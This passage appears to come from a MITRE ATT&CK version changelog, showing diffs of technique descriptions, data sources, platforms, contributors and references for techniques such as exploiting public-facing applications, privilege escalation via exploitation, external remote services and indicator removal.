| > | rg/techniques/T1598) or [Phishing](https://attack.mitre.org/ | > | ues/T1598) or [Phishing](https://attack.mitre.org/techniques | ||
| > | techniques/T1566).(Citation: Mandiant APT1) | > | /T1566).(Citation: Mandiant APT1) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Social media monitoring'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:20:40.675000+00:00 | 2021-04-15 03:10:35.877000+00:00 |
| description | Before compromising a victim, adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) For operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Establishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) | Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) For operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Establishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) |
| x_mitre_version | 1.0 | 1.1 |
Current version: 2.3
Version changed from: 2.2 → 2.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to take advantage of a weakness in a | t | 1 | Adversaries may attempt to take advantage of a weakness in a |
| > | n Internet-facing computer or program using software, data, | > | n Internet-facing computer or program using software, data, | ||
| > | or commands in order to cause unintended or unanticipated be | > | or commands in order to cause unintended or unanticipated be | ||
| > | havior. The weakness in the system can be a bug, a glitch, o | > | havior. The weakness in the system can be a bug, a glitch, o | ||
| > | r a design vulnerability. These applications are often websi | > | r a design vulnerability. These applications are often websi | ||
| > | tes, but can include databases (like SQL)(Citation: NVD CVE- | > | tes, but can include databases (like SQL)(Citation: NVD CVE- | ||
| > | 2016-6662), standard services (like SMB(Citation: CIS Multip | > | 2016-6662), standard services (like SMB(Citation: CIS Multip | ||
| > | le SMB Vulnerabilities) or SSH), network device administrati | > | le SMB Vulnerabilities) or SSH), network device administrati | ||
| > | on and management protocols (like SNMP and Smart Install(Cit | > | on and management protocols (like SNMP and Smart Install(Cit | ||
| > | ation: US-CERT TA18-106A Network Infrastructure Devices 2018 | > | ation: US-CERT TA18-106A Network Infrastructure Devices 2018 | ||
| > | )(Citation: Cisco Blog Legacy Device Attacks)), and any othe | > | )(Citation: Cisco Blog Legacy Device Attacks)), and any othe | ||
| > | r applications with Internet accessible open sockets, such a | > | r applications with Internet accessible open sockets, such a | ||
| > | s web servers and related services.(Citation: NVD CVE-2014-7 | > | s web servers and related services.(Citation: NVD CVE-2014-7 | ||
| > | 169) Depending on the flaw being exploited this may include | > | 169) Depending on the flaw being exploited this may include | ||
| > | [Exploitation for Defense Evasion](https://attack.mitre.org/ | > | [Exploitation for Defense Evasion](https://attack.mitre.org/ | ||
| > | techniques/T1211). If an application is hosted on cloud-ba | > | techniques/T1211). If an application is hosted on cloud-ba | ||
| > | sed infrastructure, then exploiting it may lead to compromis | > | sed infrastructure and/or is containerized, then exploiting | ||
| > | e of the underlying instance. This can allow an adversary a | > | it may lead to compromise of the underlying instance or cont | ||
| > | path to access the cloud APIs or to take advantage of weak i | > | ainer. This can allow an adversary a path to access the clou | ||
| > | dentity and access management policies. For websites and da | > | d or container APIs, exploit container host access via [Esca | ||
| > | tabases, the OWASP top 10 and CWE top 25 highlight the most | > | pe to Host](https://attack.mitre.org/techniques/T1611), or t | ||
| > | common web-based vulnerabilities.(Citation: OWASP Top 10)(Ci | > | ake advantage of weak identity and access management policie | ||
| > | tation: CWE top 25) | > | s. For websites and databases, the OWASP top 10 and CWE top | ||
| > | 25 highlight the most common web-based vulnerabilities.(Cit | ||||
| > | ation: OWASP Top 10)(Citation: CWE top 25) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 01:10:54.358000+00:00 | 2021-04-12 18:25:16.409000+00:00 |
| description | Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL)(Citation: NVD CVE-2016-6662), standard services (like SMB(Citation: CIS Multiple SMB Vulnerabilities) or SSH), network device administration and management protocols (like SNMP and Smart Install(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211). If an application is hosted on cloud-based infrastructure, then exploiting it may lead to compromise of the underlying instance. This can allow an adversary a path to access the cloud APIs or to take advantage of weak identity and access management policies. For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25) | Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL)(Citation: NVD CVE-2016-6662), standard services (like SMB(Citation: CIS Multiple SMB Vulnerabilities) or SSH), network device administration and management protocols (like SNMP and Smart Install(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211). If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies. For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25) |
| x_mitre_data_sources[0] | Azure activity logs | Application Log: Application Log Content |
| x_mitre_data_sources[1] | AWS CloudTrail logs | Network Traffic: Network Traffic Content |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | Windows | IaaS |
| x_mitre_platforms[2] | macOS | Network |
| x_mitre_platforms[3] | AWS | Linux |
| x_mitre_platforms[4] | GCP | macOS |
| x_mitre_platforms[5] | Azure | Containers |
| x_mitre_version | 2.2 | 2.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Yossi Weizman, Azure Defender Research Team |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Stackdriver logs | |
| x_mitre_data_sources | Packet capture | |
| x_mitre_data_sources | Web logs | |
| x_mitre_data_sources | Web application firewall logs | |
| x_mitre_data_sources | Application logs | |
| x_mitre_platforms | Network |
Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may exploit software vulnerabilities in an attem | t | 1 | Adversaries may exploit software vulnerabilities in an attem |
| > | pt to collect elevate privileges. Exploitation of a software | > | pt to elevate privileges. Exploitation of a software vulnera | ||
| > | vulnerability occurs when an adversary takes advantage of a | > | bility occurs when an adversary takes advantage of a program | ||
| > | programming error in a program, service, or within the oper | > | ming error in a program, service, or within the operating sy | ||
| > | ating system software or kernel itself to execute adversary- | > | stem software or kernel itself to execute adversary-controll | ||
| > | controlled code. Security constructs such as permission leve | > | ed code. Security constructs such as permission levels will | ||
| > | ls will often hinder access to information and use of certai | > | often hinder access to information and use of certain techni | ||
| > | n techniques, so adversaries will likely need to perform pri | > | ques, so adversaries will likely need to perform privilege e | ||
| > | vilege escalation to include use of software exploitation to | > | scalation to include use of software exploitation to circumv | ||
| > | circumvent those restrictions. When initially gaining acce | > | ent those restrictions. When initially gaining access to a | ||
| > | ss to a system, an adversary may be operating within a lower | > | system, an adversary may be operating within a lower privile | ||
| > | privileged process which will prevent them from accessing c | > | ged process which will prevent them from accessing certain r | ||
| > | ertain resources on the system. Vulnerabilities may exist, u | > | esources on the system. Vulnerabilities may exist, usually i | ||
| > | sually in operating system components and software commonly | > | n operating system components and software commonly running | ||
| > | running at higher permissions, that can be exploited to gain | > | at higher permissions, that can be exploited to gain higher | ||
| > | higher levels of access on the system. This could enable so | > | levels of access on the system. This could enable someone to | ||
| > | meone to move from unprivileged or user level permissions to | > | move from unprivileged or user level permissions to SYSTEM | ||
| > | SYSTEM or root permissions depending on the component that | > | or root permissions depending on the component that is vulne | ||
| > | is vulnerable. This may be a necessary step for an adversary | > | rable. This could also enable an adversary to move from a vi | ||
| > | compromising a endpoint system that has been properly confi | > | rtualized environment, such as within a virtual machine or c | ||
| > | gured and limits other privilege escalation methods. | > | ontainer, onto the underlying host. This may be a necessary | ||
| > | step for an adversary compromising an endpoint system that h | ||||
| > | as been properly configured and limits other privilege escal | ||||
| > | ation methods. Adversaries may bring a signed vulnerable dr | ||||
| > | iver onto a compromised machine so that they can exploit the | ||||
| > | vulnerability to execute code in kernel mode. This process | ||||
| > | is sometimes referred to as Bring Your Own Vulnerable Driver | ||||
| > | (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Uni | ||||
| > | t42 AcidBox June 2020) Adversaries may include the vulnerabl | ||||
| > | e driver with files delivered during Initial Access or downl | ||||
| > | oad it to a compromised system via [Ingress Tool Transfer](h | ||||
| > | ttps://attack.mitre.org/techniques/T1105) or [Lateral Tool T | ||||
| > | ransfer](https://attack.mitre.org/techniques/T1570). | ||||
New Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics', 'Yaniv Agman, @AgmanYaniv, Team Nautilus Aqua Security', 'Idan Revivo, @idanr86, Team Nautilus Aqua Security'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 21:12:49.194000+00:00 | 2021-04-22 16:13:34.896000+00:00 |
| description | Adversaries may exploit software vulnerabilities in an attempt to collect elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions. When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising a endpoint system that has been properly configured and limits other privilege escalation methods. | Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions. When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods. Adversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) or [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570). |
| x_mitre_data_sources[0] | Windows Error Reporting | Driver: Driver Load |
| x_mitre_detection | Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Higher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges. | Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Consider monitoring for the presence or loading (ex: Sysmon Event ID 6) of known vulnerable drivers that adversaries may drop and exploit to execute code in kernel mode.(Citation: Microsoft Driver Block Rules) Higher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges. |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ESET InvisiMole June 2020', 'description': 'Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.', 'url': 'https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf'} | |
| external_references | {'source_name': 'Unit42 AcidBox June 2020', 'description': 'Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.', 'url': 'https://unit42.paloaltonetworks.com/acidbox-rare-malware/'} | |
| external_references | {'source_name': 'Microsoft Driver Block Rules', 'description': 'Microsoft. (2020, October 15). Microsoft recommended driver block rules. Retrieved March 16, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules'} | |
| x_mitre_platforms | Containers |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Application logs |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-04-22 15:19:31.380000+00:00 | 2021-03-08 10:33:01.745000+00:00 |
| x_mitre_data_sources[0] | Web logs | File: File Modification |
| x_mitre_data_sources[1] | Web application firewall logs | File: File Creation |
| x_mitre_data_sources[2] | Packet capture | Application Log: Application Log Content |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | IaaS |
| x_mitre_platforms[2] | Windows | Linux |
| x_mitre_platforms[3] | AWS | macOS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 2.2
Version changed from: 2.1 → 2.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may leverage external-facing remote services to | t | 1 | Adversaries may leverage external-facing remote services to |
| > | initially access and/or persist within a network. Remote ser | > | initially access and/or persist within a network. Remote ser | ||
| > | vices such as VPNs, Citrix, and other access mechanisms allo | > | vices such as VPNs, Citrix, and other access mechanisms allo | ||
| > | w users to connect to internal enterprise network resources | > | w users to connect to internal enterprise network resources | ||
| > | from external locations. There are often remote service gate | > | from external locations. There are often remote service gate | ||
| > | ways that manage connections and credential authentication f | > | ways that manage connections and credential authentication f | ||
| > | or these services. Services such as [Windows Remote Manageme | > | or these services. Services such as [Windows Remote Manageme | ||
| > | nt](https://attack.mitre.org/techniques/T1021/006) can also | > | nt](https://attack.mitre.org/techniques/T1021/006) can also | ||
| > | be used externally. Access to [Valid Accounts](https://atta | > | be used externally. Access to [Valid Accounts](https://atta | ||
| > | ck.mitre.org/techniques/T1078) to use the service is often a | > | ck.mitre.org/techniques/T1078) to use the service is often a | ||
| > | requirement, which could be obtained through credential pha | > | requirement, which could be obtained through credential pha | ||
| > | rming or by obtaining the credentials from users after compr | > | rming or by obtaining the credentials from users after compr | ||
| > | omising the enterprise network.(Citation: Volexity Virtual P | > | omising the enterprise network.(Citation: Volexity Virtual P | ||
| > | rivate Keylogging) Access to remote services may be used as | > | rivate Keylogging) Access to remote services may be used as | ||
| > | a redundant or persistent access mechanism during an operati | > | a redundant or persistent access mechanism during an operati | ||
| > | on. | > | on. Access may also be gained through an exposed service th | ||
| > | at doesn’t require authentication. In containerized environm | ||||
| > | ents, this may include an exposed Docker API, Kubernetes API | ||||
| > | server, kubelet, or web application such as the Kubernetes | ||||
| > | dashboard.(Citation: Trend Micro Exposed Docker Server)(Cita | ||||
| > | tion: Unit 42 Hildegard Malware) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-19 20:07:09.600000+00:00 | 2021-04-22 20:22:02.443000+00:00 |
| description | Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) can also be used externally. Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation. | Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) can also be used externally. Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation. Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware) |
| x_mitre_data_sources[0] | Authentication logs | Application Log: Application Log Content |
| x_mitre_detection | Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours. | Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours. When authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application. |
| x_mitre_version | 2.1 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Trend Micro Exposed Docker Server', 'description': 'Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants Target Exposed Docker Servers. Retrieved April 5, 2021.', 'url': 'https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html'} | |
| external_references | {'source_name': 'Unit 42 Hildegard Malware', 'description': 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.', 'url': 'https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/'} | |
| x_mitre_contributors | ExtraHop | |
| x_mitre_contributors | David Fiser, @anu4is, Trend Micro | |
| x_mitre_contributors | Alfredo Oliveira, Trend Micro | |
| x_mitre_contributors | Idan Frimark, Cisco | |
| x_mitre_contributors | Rory McCune, Aqua Security | |
| x_mitre_contributors | Yuval Avrahami, Palo Alto Networks | |
| x_mitre_contributors | Jay Chen, Palo Alto Networks | |
| x_mitre_contributors | Brad Geesaman, @bradgeesaman | |
| x_mitre_contributors | Magno Logan, @magnologan, Trend Micro | |
| x_mitre_contributors | Ariel Shuper, Cisco | |
| x_mitre_contributors | Yossi Weizman, Azure Defender Research Team | |
| x_mitre_contributors | Vishwas Manral, McAfee | |
| x_mitre_data_sources | Logon Session: Logon Session Metadata | |
| x_mitre_data_sources | Network Traffic: Network Traffic Flow | |
| x_mitre_platforms | Containers |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-01-22 21:07:45.925000+00:00 | 2021-04-14 14:29:27.631000+00:00 |
| x_mitre_data_sources[0] | Web logs | Logon Session: Logon Session Creation |
| x_mitre_data_sources[1] | Authentication logs | Web Credential: Web Credential Creation |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Web Credential: Web Credential Usage | |
| x_mitre_platforms | Google Workspace |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Itamar Mizrahi, Cymptom'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-31 12:59:10.840000+00:00 | 2020-11-05 16:07:03.779000+00:00 |
| x_mitre_data_sources[0] | Authentication logs | Active Directory: Active Directory Credential Request |
| x_mitre_data_sources[1] | Windows event logs | Logon Session: Logon Session Metadata |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-17 15:15:28.288000+00:00 | 2021-04-27 19:55:20.290000+00:00 |
| x_mitre_data_sources[0] | Environment variable | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[1] | Loaded DLLs | Process: Process Creation |
| x_mitre_data_sources[2] | Process command-line parameters | Module: Module Load |
| x_mitre_data_sources[3] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[4] | File monitoring | Service: Service Metadata |
| x_mitre_data_sources[5] | DLL monitoring | File: File Creation |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Modification |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 16:31:35.249000+00:00 | 2021-04-24 13:59:13.144000+00:00 |
| x_mitre_data_sources[0] | GCP audit logs | Process: Process Termination |
| x_mitre_data_sources[1] | Azure activity logs | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Windows Registry: Windows Registry Key Deletion |
| x_mitre_data_sources[3] | Anti-virus | Command: Command Execution |
| x_mitre_data_sources[4] | Services | Service: Service Metadata |
| x_mitre_data_sources[5] | API monitoring | Sensor Health: Host Status |
| x_mitre_data_sources[6] | Environment variable | Script: Script Execution |
| x_mitre_data_sources[7] | Authentication logs | Firewall: Firewall Disable |
| x_mitre_data_sources[8] | File monitoring | Firewall: Firewall Rule Modification |
| x_mitre_data_sources[9] | Process command-line parameters | Cloud Service: Cloud Service Modification |
| x_mitre_data_sources[10] | Process monitoring | Cloud Service: Cloud Service Disable |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | Windows | Office 365 |
| x_mitre_platforms[2] | macOS | IaaS |
| x_mitre_platforms[3] | AWS | Linux |
| x_mitre_platforms[4] | GCP | macOS |
| x_mitre_platforms[5] | Azure | Containers |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Windows Registry |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may delete or alter generated artifacts on a hos | t | 1 | Adversaries may delete or alter generated artifacts on a hos |
| > | t system, including logs or captured files such as quarantin | > | t system, including logs or captured files such as quarantin | ||
| > | ed malware. Locations and format of logs are platform or pro | > | ed malware. Locations and format of logs are platform or pro | ||
| > | duct-specific, however standard operating system logs are ca | > | duct-specific, however standard operating system logs are ca | ||
| > | ptured as Windows events or Linux/macOS files such as [Bash | > | ptured as Windows events or Linux/macOS files such as [Bash | ||
| > | History](https://attack.mitre.org/techniques/T1139) and /var | > | History](https://attack.mitre.org/techniques/T1552/003) and | ||
| > | /log/*. These actions may interfere with event collection, | > | /var/log/*. These actions may interfere with event collecti | ||
| > | reporting, or other notifications used to detect intrusion a | > | on, reporting, or other notifications used to detect intrusi | ||
| > | ctivity. This that may compromise the integrity of security | > | on activity. This that may compromise the integrity of secur | ||
| > | solutions by causing notable events to go unreported. This a | > | ity solutions by causing notable events to go unreported. Th | ||
| > | ctivity may also impede forensic analysis and incident respo | > | is activity may also impede forensic analysis and incident r | ||
| > | nse, due to lack of sufficient data to determine what occurr | > | esponse, due to lack of sufficient data to determine what oc | ||
| > | ed. | > | curred. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-16 18:09:49.074000+00:00 | 2021-04-24 13:35:09.065000+00:00 |
| description | Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1139) and /var/log/*. These actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This that may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred. | Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1552/003) and /var/log/*. These actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This that may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred. |
| x_mitre_data_sources[0] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | File: File Deletion |
| x_mitre_data_sources[2] | Process command-line parameters | File: File Modification |
| x_mitre_data_sources[3] | API monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[4] | Windows event logs | Windows Registry: Windows Registry Key Deletion |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Brad Geesaman, @bradgeesaman | |
| x_mitre_data_sources | Process: OS API Execution | |
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_data_sources | Network Traffic: Network Traffic Content | |
| x_mitre_data_sources | User Account: User Account Authentication | |
| x_mitre_data_sources | File: File Metadata | |
| x_mitre_platforms | Containers |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-17 18:26:41.796000+00:00 | 2021-04-14 14:32:14.273000+00:00 |
| x_mitre_data_sources[0] | SSL/TLS inspection | Application Log: Application Log Content |
| x_mitre_data_sources[1] | DNS records | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[2] | Anti-virus | Network Traffic: Network Traffic Content |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Google Workspace |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Web proxy | |
| x_mitre_data_sources | File monitoring | |
| x_mitre_data_sources | Mail server | |
| x_mitre_data_sources | Office 365 trace logs |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify the kernel to automatically execute p | t | 1 | Adversaries may modify the kernel to automatically execute p |
| > | rograms on system boot. Loadable Kernel Modules (LKMs) are p | > | rograms on system boot. Loadable Kernel Modules (LKMs) are p | ||
| > | ieces of code that can be loaded and unloaded into the kerne | > | ieces of code that can be loaded and unloaded into the kerne | ||
| > | l upon demand. They extend the functionality of the kernel w | > | l upon demand. They extend the functionality of the kernel w | ||
| > | ithout the need to reboot the system. For example, one type | > | ithout the need to reboot the system. For example, one type | ||
| > | of module is the device driver, which allows the kernel to a | > | of module is the device driver, which allows the kernel to a | ||
| > | ccess hardware connected to the system. (Citation: Linux Ker | > | ccess hardware connected to the system. (Citation: Linux Ker | ||
| > | nel Programming) When used maliciously, LKMs can be a type | > | nel Programming) When used maliciously, LKMs can be a type | ||
| > | of kernel-mode [Rootkit](https://attack.mitre.org/technique | > | of kernel-mode [Rootkit](https://attack.mitre.org/technique | ||
| > | s/T1014) that run with the highest operating system privileg | > | s/T1014) that run with the highest operating system privileg | ||
